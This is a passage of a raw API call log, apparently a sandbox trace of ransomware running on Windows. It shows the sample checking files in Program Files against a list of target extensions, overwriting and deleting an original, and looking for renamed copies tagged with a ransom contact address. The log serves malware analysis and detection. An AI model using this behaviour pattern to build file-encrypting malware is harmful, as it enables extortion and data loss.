WriteFile (in: hFile=0x18c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe2b0, lpOverlapped=0x0) returned 1 [0056.068] ReadFile (in: hFile=0x180, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.068] WriteFile (in: hFile=0x18c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0056.068] SetEndOfFile (hFile=0x18c) returned 1 [0056.228] CloseHandle (hObject=0x18c) returned 1 [0056.229] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.229] SetEndOfFile (hFile=0x180) returned 1 [0056.250] CloseHandle (hObject=0x180) returned 1 [0056.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0056.257] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1 [0056.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0056.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0056.265] lstrlenW (lpString=".doc") returned 4 [0056.265] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0056.265] lstrlenW (lpString=".docx") returned 5 [0056.265] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0056.265] lstrlenW (lpString=".pdf") returned 4 [0056.265] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0056.265] lstrlenW (lpString=".xls") returned 4 [0056.265] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0056.265] lstrlenW (lpString=".xlsx") returned 5 [0056.265] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0056.266] lstrlenW (lpString=".ppt") returned 4 [0056.266] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0056.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0056.266] lstrlenW (lpString=".zip") returned 4 [0056.266] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0056.266] lstrlenW (lpString=".rar") returned 4 [0056.266] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0056.266] lstrlenW (lpString=".bz2") returned 4 [0056.266] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0056.266] lstrlenW (lpString=".7z") returned 3 [0056.266] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0056.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0056.266] lstrlenW (lpString=".dbf") returned 4 [0056.266] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0056.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0056.266] lstrlenW (lpString=".1cd") returned 4 [0056.266] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0056.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0056.266] lstrlenW (lpString=".jpg") returned 4 [0056.266] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0056.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0056.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0056.266] lstrlenW (lpString=".doc") returned 4 [0056.266] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0056.266] lstrlenW (lpString=".docx") returned 5 [0056.266] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0056.266] lstrlenW (lpString=".pdf") returned 4 [0056.266] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0056.266] lstrlenW (lpString=".xls") returned 4 [0056.266] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0056.266] lstrlenW (lpString=".xlsx") returned 5 [0056.266] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0056.266] lstrlenW (lpString=".ppt") returned 4 [0056.266] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0056.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0056.267] lstrlenW (lpString=".zip") returned 4 [0056.267] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0056.267] lstrlenW (lpString=".rar") returned 4 [0056.267] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0056.267] lstrlenW (lpString=".bz2") returned 4 [0056.267] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0056.267] lstrlenW (lpString=".7z") returned 3 [0056.267] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0056.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0056.267] lstrlenW (lpString=".dbf") returned 4 [0056.267] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0056.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0056.267] lstrlenW (lpString=".1cd") returned 4 [0056.267] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0056.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0056.267] lstrlenW (lpString=".jpg") returned 4 [0056.267] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0056.267] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0056.267] lstrlenW (lpString="DissolveNoise.png") returned 17 [0056.267] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0056.363] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=751669) returned 1 [0056.363] CloseHandle (hObject=0x1e8) returned 1 [0056.363] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0056.363] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.363] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.363] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0056.363] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0056.363] lstrlenW (lpString=".doc") returned 4 [0056.363] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.363] lstrlenW (lpString=".docx") returned 5 [0056.363] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0056.363] lstrlenW (lpString=".pdf") returned 4 [0056.363] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.363] lstrlenW (lpString=".xls") returned 4 [0056.363] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.363] lstrlenW (lpString=".xlsx") returned 5 [0056.363] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0056.363] lstrlenW (lpString=".ppt") returned 4 [0056.363] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.364] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0056.364] lstrlenW (lpString=".zip") returned 4 [0056.364] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.364] lstrlenW (lpString=".rar") returned 4 [0056.364] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.364] lstrlenW (lpString=".bz2") returned 4 [0056.364] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.364] lstrlenW (lpString=".7z") returned 3 [0056.364] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.364] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0056.364] lstrlenW (lpString=".dbf") returned 4 [0056.364] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.364] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0056.364] lstrlenW (lpString=".1cd") returned 4 [0056.364] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.364] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0056.364] lstrlenW (lpString=".jpg") returned 4 [0056.364] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.364] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0056.364] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0056.364] lstrlenW (lpString=".doc") returned 4 [0056.364] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.364] lstrlenW (lpString=".docx") returned 5 [0056.364] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0056.364] lstrlenW (lpString=".pdf") returned 4 [0056.364] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.364] lstrlenW (lpString=".xls") returned 4 [0056.364] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.364] lstrlenW (lpString=".xlsx") returned 5 [0056.364] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0056.364] lstrlenW (lpString=".ppt") returned 4 [0056.364] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.364] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0056.365] lstrlenW (lpString=".zip") returned 4 [0056.365] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.365] lstrlenW (lpString=".rar") returned 4 [0056.365] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.365] lstrlenW (lpString=".bz2") returned 4 [0056.365] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.365] lstrlenW (lpString=".7z") returned 3 [0056.365] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.365] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0056.365] lstrlenW (lpString=".dbf") returned 4 [0056.365] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.365] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0056.365] lstrlenW (lpString=".1cd") returned 4 [0056.365] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.365] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0056.365] lstrlenW (lpString=".jpg") returned 4 [0056.365] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.365] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0056.365] lstrlenW (lpString="4to3Squareframe_Buttongraphic.png") returned 33 [0056.365] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0056.457] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=11861) returned 1 [0056.461] CloseHandle (hObject=0x224) returned 1 [0056.474] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png")) returned 0x20 [0056.477] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.482] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.484] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0056.487] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0056.488] lstrlenW (lpString=".doc") returned 4 [0056.489] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.490] lstrlenW (lpString=".docx") returned 5 [0056.490] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0056.490] lstrlenW (lpString=".pdf") returned 4 [0056.490] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.490] lstrlenW (lpString=".xls") returned 4 [0056.490] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.490] lstrlenW (lpString=".xlsx") returned 5 [0056.490] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0056.490] lstrlenW (lpString=".ppt") returned 4 [0056.490] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.490] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0056.490] lstrlenW (lpString=".zip") returned 4 [0056.490] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.490] lstrlenW (lpString=".rar") returned 4 [0056.490] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.490] lstrlenW (lpString=".bz2") returned 4 [0056.490] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.490] lstrlenW (lpString=".7z") returned 3 [0056.490] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.490] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0056.490] lstrlenW (lpString=".dbf") returned 4 [0056.490] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.490] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0056.490] lstrlenW (lpString=".1cd") returned 4 [0056.490] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.490] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0056.490] lstrlenW (lpString=".jpg") returned 4 [0056.490] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.491] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0056.491] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0056.491] lstrlenW (lpString=".doc") returned 4 [0056.491] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.491] lstrlenW (lpString=".docx") returned 5 [0056.491] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0056.491] lstrlenW (lpString=".pdf") returned 4 [0056.491] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.491] lstrlenW (lpString=".xls") returned 4 [0056.491] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.491] lstrlenW (lpString=".xlsx") returned 5 [0056.491] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0056.491] lstrlenW (lpString=".ppt") returned 4 [0056.491] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.491] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0056.491] lstrlenW (lpString=".zip") returned 4 [0056.491] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.491] lstrlenW (lpString=".rar") returned 4 [0056.491] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.491] lstrlenW (lpString=".bz2") returned 4 [0056.491] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.491] lstrlenW (lpString=".7z") returned 3 [0056.491] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.491] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0056.491] lstrlenW (lpString=".dbf") returned 4 [0056.491] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.491] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0056.491] lstrlenW (lpString=".1cd") returned 4 [0056.491] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.491] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0056.491] lstrlenW (lpString=".jpg") returned 4 [0056.491] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.492] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0056.492] lstrlenW (lpString="dotslightoverlay.png") returned 20 [0056.492] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0057.283] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4669) returned 1 [0057.283] CloseHandle (hObject=0x194) returned 1 [0057.283] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png")) returned 0x20 [0057.283] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0057.283] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.283] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0057.283] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0057.283] lstrlenW (lpString=".doc") returned 4 [0057.283] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.283] lstrlenW (lpString=".docx") returned 5 [0057.283] lstrcmpiW (lpString1=".docx", lpString2="y.png") returned -1 [0057.283] lstrlenW (lpString=".pdf") returned 4 [0057.283] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.284] lstrlenW (lpString=".xls") returned 4 [0057.284] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.284] lstrlenW (lpString=".xlsx") returned 5 [0057.284] lstrcmpiW (lpString1=".xlsx", lpString2="y.png") returned -1 [0057.284] lstrlenW (lpString=".ppt") returned 4 [0057.284] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.284] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0057.284] lstrlenW (lpString=".zip") returned 4 [0057.284] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.284] lstrlenW (lpString=".rar") returned 4 [0057.284] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.284] lstrlenW (lpString=".bz2") returned 4 [0057.284] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.284] lstrlenW (lpString=".7z") returned 3 [0057.284] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.284] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0057.284] lstrlenW (lpString=".dbf") returned 4 [0057.284] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.284] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0057.284] lstrlenW (lpString=".1cd") returned 4 [0057.284] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.284] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0057.284] lstrlenW (lpString=".jpg") returned 4 [0057.284] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.284] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0057.284] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0057.284] lstrlenW (lpString=".doc") returned 4 [0057.284] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.285] lstrlenW (lpString=".docx") returned 5 [0057.285] lstrcmpiW (lpString1=".docx", lpString2="y.png") returned -1 [0057.285] lstrlenW (lpString=".pdf") returned 4 [0057.285] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.285] lstrlenW (lpString=".xls") returned 4 [0057.285] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.285] lstrlenW (lpString=".xlsx") returned 5 [0057.285] lstrcmpiW (lpString1=".xlsx", lpString2="y.png") returned -1 [0057.285] lstrlenW (lpString=".ppt") returned 4 [0057.285] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.285] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0057.285] lstrlenW (lpString=".zip") returned 4 [0057.285] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.285] lstrlenW (lpString=".rar") returned 4 [0057.285] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.285] lstrlenW (lpString=".bz2") returned 4 [0057.285] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.285] lstrlenW (lpString=".7z") returned 3 [0057.285] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.285] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0057.285] lstrlenW (lpString=".dbf") returned 4 [0057.285] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.285] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0057.285] lstrlenW (lpString=".1cd") returned 4 [0057.285] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.285] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0057.285] lstrlenW (lpString=".jpg") returned 4 [0057.285] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.285] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0057.285] lstrlenW (lpString="ParentMenuButtonIcon.png") returned 24 [0057.285] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0058.338] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4525) returned 1 [0058.338] CloseHandle (hObject=0x200) returned 1 [0058.338] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png")) returned 0x20 [0058.338] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.338] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.338] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned 80 [0058.338] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned 80 [0058.338] lstrlenW (lpString=".doc") returned 4 [0058.338] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.338] lstrlenW (lpString=".docx") returned 5 [0058.338] lstrcmpiW (lpString1=".docx", lpString2="n.png") returned -1 [0058.338] lstrlenW (lpString=".pdf") returned 4 [0058.338] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.339] lstrlenW (lpString=".xls") returned 4 [0058.339] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.339] lstrlenW (lpString=".xlsx") returned 5 [0058.339] lstrcmpiW (lpString1=".xlsx", lpString2="n.png") returned -1 [0058.339] lstrlenW (lpString=".ppt") returned 4 [0058.339] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.339] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned 80 [0058.339] lstrlenW (lpString=".zip") 